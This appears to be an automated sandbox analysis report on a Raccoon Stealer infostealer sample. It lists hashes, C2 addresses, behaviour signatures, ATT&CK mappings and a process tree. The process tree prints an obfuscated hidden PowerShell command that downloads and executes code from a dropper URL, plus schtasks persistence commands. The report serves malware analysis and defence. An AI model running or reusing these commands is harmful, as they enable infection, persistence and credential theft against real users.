Analysis

  • max time kernel
    116s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-08-2022 09:01

General

  • Target

    ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe

  • Size

    1.8MB

  • MD5

    6dbedbc7004b82e9350e6a27cbe0684a

  • SHA1

    ade3b72837acc0f94f21cdee9e81df66b58f2e1b

  • SHA256

    ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8

  • SHA512

    751d8e4098aa7edd0945460b0d202ffef36a1de5a435ab4ffeed4345b19fd6dbbf20d48cdcd6d452c2692ad0a777629d84f71e249fb0b1347d933fcfe289e80a

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://hyperhyper8.com/welcome

Extracted

Family

raccoon

Botnet

c4376f037b1703b305ca5fb81f6ffc21

C2

http://74.119.192.73/

http://77.75.230.84/

rc4.plain

Signatures

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • Raccoon Stealer payload 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 5 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe
    "C:\Users\Admin\AppData\Local\Temp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Users\Admin\AppData\Local\Temp\is-5ODVI.tmp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-5ODVI.tmp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.tmp" /SL5="$E0120,1066731,832512,C:\Users\Admin\AppData\Local\Temp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4904
      • C:\Users\Admin\AppData\Local\Temp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe
        "C:\Users\Admin\AppData\Local\Temp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe" /VERYSILENT
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1848
        • C:\Users\Admin\AppData\Local\Temp\is-LI6VR.tmp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-LI6VR.tmp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.tmp" /SL5="$A004E,1066731,832512,C:\Users\Admin\AppData\Local\Temp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.exe" /VERYSILENT
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\SysWOW64\explorer.exe
            explorer.exe 92
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1668
            • C:\Users\Admin\AppData\Local\Temp\O1AnzH0RR.exe
              "C:\Users\Admin\AppData\Local\Temp\O1AnzH0RR.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:2700
              • C:\Windows\SysWOW64\explorer.exe
                explorer.exe
                7⤵
                • Loads dropped DLL
                PID:1420
                • C:\Users\Admin\AppData\Roaming\yv9d94eq.exe
                  "C:\Users\Admin\AppData\Roaming\yv9d94eq.exe"
                  8⤵
                  • Executes dropped EXE
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1124
                  • C:\Windows\SysWOW64\schtasks.exe
                    /C /create /F /sc minute /mo 5 /tn "PerformanceMonitor_{Y6F7A6L1Q3V2W4S7}" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\PerfMon\PerfWatson2.exe"
                    9⤵
                    • Creates scheduled task(s)
                    PID:308
                  • C:\Windows\SysWOW64\schtasks.exe
                    /C /Query /XML /TN "PerformanceMonitor_{Y6F7A6L1Q3V2W4S7}"
                    9⤵
                      PID:1564
                    • C:\Windows\SysWOW64\schtasks.exe
                      /C /create /F /tn "PerformanceMonitor_{Y6F7A6L1Q3V2W4S7}" /XML "C:\Users\Admin\AppData\Roaming\Microsoft\PerfMon\1201824912038.xml"
                      9⤵
                      • Creates scheduled task(s)
                      PID:3216
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 1124 -s 508
                      9⤵
                      • Program crash
                      PID:2272
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//hyperhyper8.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                6⤵
                  PID:1704
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//hyperhyper8.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                    7⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2776
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1480 -s 396
                5⤵
                • Program crash
                PID:3536
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1480 -ip 1480
        1⤵
          PID:4416
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1124 -ip 1124
          1⤵
            PID:4020

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Execution

          Scheduled Task

          1
          T1053

          Persistence

          Scheduled Task

          1
          T1053

          Privilege Escalation

          Scheduled Task

          1
          T1053

          Credential Access

          Credentials in Files

          1
          T1081

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Collection

          Data from Local System

          1
          T1005

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\LocalLow\mozglue.dll
            Filesize

            612KB

            MD5

            f07d9977430e762b563eaadc2b94bbfa

            SHA1

            da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

            SHA256

            4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

            SHA512

            6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

          • C:\Users\Admin\AppData\LocalLow\nss3.dll
            Filesize

            1.9MB

            MD5

            f67d08e8c02574cbc2f1122c53bfb976

            SHA1

            6522992957e7e4d074947cad63189f308a80fcf2

            SHA256

            c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

            SHA512

            2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

          • C:\Users\Admin\AppData\LocalLow\sqlite3.dll
            Filesize

            1.0MB

            MD5

            dbf4f8dcefb8056dc6bae4b67ff810ce

            SHA1

            bbac1dd8a07c6069415c04b62747d794736d0689

            SHA256

            47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

            SHA512

            b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

          • C:\Users\Admin\AppData\Local\Temp\O1AnzH0RR.exe
            Filesize

            85KB

            MD5

            470b380ce45eab609237affe194029e2

            SHA1

            6100045d09b0e9e8bfe557540534f4b8779a15e0

            SHA256

            f1e3a3640cf76b2d0dc8db0b2d37f635db3177a55072cd0c34eda97c493e2c82

            SHA512

            f255da29a731502f36c5dd715ecae8d5448e975b1320ad5caa10909d4db8473b266e48a227808a119e06a0f81670d351675d938e8094bcc286fe2dc49ff1748a

          • C:\Users\Admin\AppData\Local\Temp\O1AnzH0RR.exe
            Filesize

            85KB

            MD5

            470b380ce45eab609237affe194029e2

            SHA1

            6100045d09b0e9e8bfe557540534f4b8779a15e0

            SHA256

            f1e3a3640cf76b2d0dc8db0b2d37f635db3177a55072cd0c34eda97c493e2c82

            SHA512

            f255da29a731502f36c5dd715ecae8d5448e975b1320ad5caa10909d4db8473b266e48a227808a119e06a0f81670d351675d938e8094bcc286fe2dc49ff1748a

          • C:\Users\Admin\AppData\Local\Temp\is-1A4O9.tmp\service.dll
            Filesize

            321KB

            MD5

            0b8e974c670b08a6f08960f9d25d178d

            SHA1

            b5d1a6f3db338d3bb8aae1dfc9a45b449d397bf0

            SHA256

            cade7a06c16dcede9767e374a2908c5f1d26c80e3a50e41347c9cf3d2d9c4df3

            SHA512

            4c7ece0ef4eac39c198e52f36fedbf7d567a192d97d0740f9d042b9e947465cc728158677edc5dd9ba2f5df8c87e15264b2e4a6966ee79b116f68b2b949f228f

          • C:\Users\Admin\AppData\Local\Temp\is-5ODVI.tmp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.tmp
            Filesize

            3.0MB

            MD5

            d419f705c8346b8a2d6eb6d93806e7ab

            SHA1

            d36ab8624f3290da188596f305ca77f7f30f7853

            SHA256

            3f6c117df50989240c303681c156841d4a283639f9fe521b775199ec5dda56c0

            SHA512

            dcdaa4b0c9e5f5a46541544b2a13d9b1a2074da904e52885f2255d53ec644f2b1daedaaab67e279a6a1a7198bffbc869874f6b9858a98cd542b34f9b05c13b46

          • C:\Users\Admin\AppData\Local\Temp\is-LI6VR.tmp\ca1703fdb5251f1c5a8e1de0ba134ba2c4992f3ecf92f0e3518efee2bdf986a8.tmp
            Filesize

            3.0MB

            MD5

            d419f705c8346b8a2d6eb6d93806e7ab

            SHA1

            d36ab8624f3290da188596f305ca77f7f30f7853

            SHA256

            3f6c117df50989240c303681c156841d4a283639f9fe521b775199ec5dda56c0

            SHA512

            dcdaa4b0c9e5f5a46541544b2a13d9b1a2074da904e52885f2255d53ec644f2b1daedaaab67e279a6a1a7198bffbc869874f6b9858a98cd542b34f9b05c13b46

          • C:\Users\Admin\AppData\Local\Temp\is-T595T.tmp\service.dll
            Filesize

            321KB

            MD5

            0b8e974c670b08a6f08960f9d25d178d

            SHA1

            b5d1a6f3db338d3bb8aae1dfc9a45b449d397bf0

            SHA256

            cade7a06c16dcede9767e374a2908c5f1d26c80e3a50e41347c9cf3d2d9c4df3

            SHA512

            4c7ece0ef4eac39c198e52f36fedbf7d567a192d97d0740f9d042b9e947465cc728158677edc5dd9ba2f5df8c87e15264b2e4a6966ee79b116f68b2b949f228f

          • C:\Users\Admin\AppData\Roaming\Microsoft\PerfMon\1201824912038.xml
            Filesize

            1KB

            MD5

            04925c6841b9576372d0c915493f10d0

            SHA1

            89ff4a4b1dd17547c6914673539cb112dff83b1d

            SHA256

            56b14c9836338a7a77c7743da0aafab4bc015d0161b1b98e1504f60a2f1648c5

            SHA512

            aca7947146c997157e5a7f5eda0b015f19adcc1dfcdecfc47c5324c868010e04c903a16c9807a7615e8a483005d37b451a74e45976e9f43a821c4dbc5650b3da

          • C:\Users\Admin\AppData\Roaming\yv9d94eq.exe
            Filesize

            6.6MB

            MD5

            92048033521de909bfcc1303491f79ae

            SHA1

            85d2f6359c261738e1a7eefa2bcb1ed79731526f

            SHA256

            fb06c50d3ed42509fb7bb4065e93e2f23c2b4c8b99f640bbce9123459183437e

            SHA512

            a10704d9f3ca5ef62884d5820f4fceebae4c0dacaac9486a7faafc90c03a7eb52caa169f1a9786186e78f91cc7ad86ede3c7c645c570b1feb6343820b0386a76

          • C:\Users\Admin\AppData\Roaming\yv9d94eq.exe
            Filesize

            6.6MB

            MD5

            92048033521de909bfcc1303491f79ae

            SHA1

            85d2f6359c261738e1a7eefa2bcb1ed79731526f

            SHA256

            fb06c50d3ed42509fb7bb4065e93e2f23c2b4c8b99f640bbce9123459183437e

            SHA512

            a10704d9f3ca5ef62884d5820f4fceebae4c0dacaac9486a7faafc90c03a7eb52caa169f1a9786186e78f91cc7ad86ede3c7c645c570b1feb6343820b0386a76

          • memory/308-183-0x0000000000000000-mapping.dmp
          • memory/1124-182-0x0000000000430000-0x0000000000E66000-memory.dmp
            Filesize

            10.2MB

          • memory/1124-187-0x0000000000430000-0x0000000000E66000-memory.dmp
            Filesize

            10.2MB

          • memory/1124-179-0x0000000000000000-mapping.dmp
          • memory/1420-178-0x0000000000820000-0x0000000000831000-memory.dmp
            Filesize

            68KB

          • memory/1420-160-0x0000000000820000-0x0000000000831000-memory.dmp
            Filesize

            68KB

          • memory/1420-156-0x0000000000820000-0x0000000000831000-memory.dmp
            Filesize

            68KB

          • memory/1420-159-0x0000000000820000-0x0000000000831000-memory.dmp
            Filesize

            68KB

          • memory/1420-155-0x0000000000000000-mapping.dmp
          • memory/1480-148-0x0000000003490000-0x00000000034CB000-memory.dmp
            Filesize

            236KB

          • memory/1480-140-0x0000000000000000-mapping.dmp
          • memory/1564-184-0x0000000000000000-mapping.dmp
          • memory/1668-145-0x0000000000820000-0x0000000000860000-memory.dmp
            Filesize

            256KB

          • memory/1668-146-0x0000000000820000-0x0000000000860000-memory.dmp
            Filesize

            256KB

          • memory/1668-144-0x0000000000000000-mapping.dmp
          • memory/1668-147-0x0000000000820000-0x0000000000860000-memory.dmp
            Filesize

            256KB

          • memory/1668-162-0x0000000000820000-0x0000000000860000-memory.dmp
            Filesize

            256KB

          • memory/1668-149-0x0000000000820000-0x0000000000860000-memory.dmp
            Filesize

            256KB

          • memory/1704-161-0x0000000000000000-mapping.dmp
          • memory/1848-150-0x0000000000400000-0x00000000004D8000-memory.dmp
            Filesize

            864KB

          • memory/1848-136-0x0000000000000000-mapping.dmp
          • memory/1848-137-0x0000000000400000-0x00000000004D8000-memory.dmp
            Filesize

            864KB

          • memory/1848-143-0x0000000000400000-0x00000000004D8000-memory.dmp
            Filesize

            864KB

          • memory/2144-134-0x0000000000400000-0x00000000004D8000-memory.dmp
            Filesize

            864KB

          • memory/2144-139-0x0000000000400000-0x00000000004D8000-memory.dmp
            Filesize

            864KB

          • memory/2144-130-0x0000000000400000-0x00000000004D8000-memory.dmp
            Filesize

            864KB

          • memory/2700-154-0x00000000009F0000-0x00000000009FF000-memory.dmp
            Filesize

            60KB

          • memory/2700-151-0x0000000000000000-mapping.dmp
          • memory/2700-158-0x00000000009F0000-0x00000000009FC000-memory.dmp
            Filesize

            48KB

          • memory/2776-165-0x0000000004F80000-0x00000000055A8000-memory.dmp
            Filesize

            6.2MB

          • memory/2776-171-0x0000000005840000-0x00000000058A6000-memory.dmp
            Filesize

            408KB

          • memory/2776-176-0x00000000072C0000-0x00000000072E2000-memory.dmp
            Filesize

            136KB

          • memory/2776-177-0x00000000082F0000-0x0000000008894000-memory.dmp
            Filesize

            5.6MB

          • memory/2776-174-0x0000000006390000-0x00000000063AA000-memory.dmp
            Filesize

            104KB

          • memory/2776-173-0x00000000076C0000-0x0000000007D3A000-memory.dmp
            Filesize

            6.5MB

          • memory/2776-172-0x0000000005E80000-0x0000000005E9E000-memory.dmp
            Filesize

            120KB

          • memory/2776-175-0x0000000007320000-0x00000000073B6000-memory.dmp
            Filesize

            600KB

          • memory/2776-170-0x0000000005620000-0x0000000005686000-memory.dmp
            Filesize

            408KB

          • memory/2776-169-0x0000000004DC0000-0x0000000004DE2000-memory.dmp
            Filesize

            136KB

          • memory/2776-164-0x0000000002550000-0x0000000002586000-memory.dmp
            Filesize

            216KB

          • memory/2776-163-0x0000000000000000-mapping.dmp
          • memory/3216-185-0x0000000000000000-mapping.dmp
          • memory/4904-132-0x0000000000000000-mapping.dmp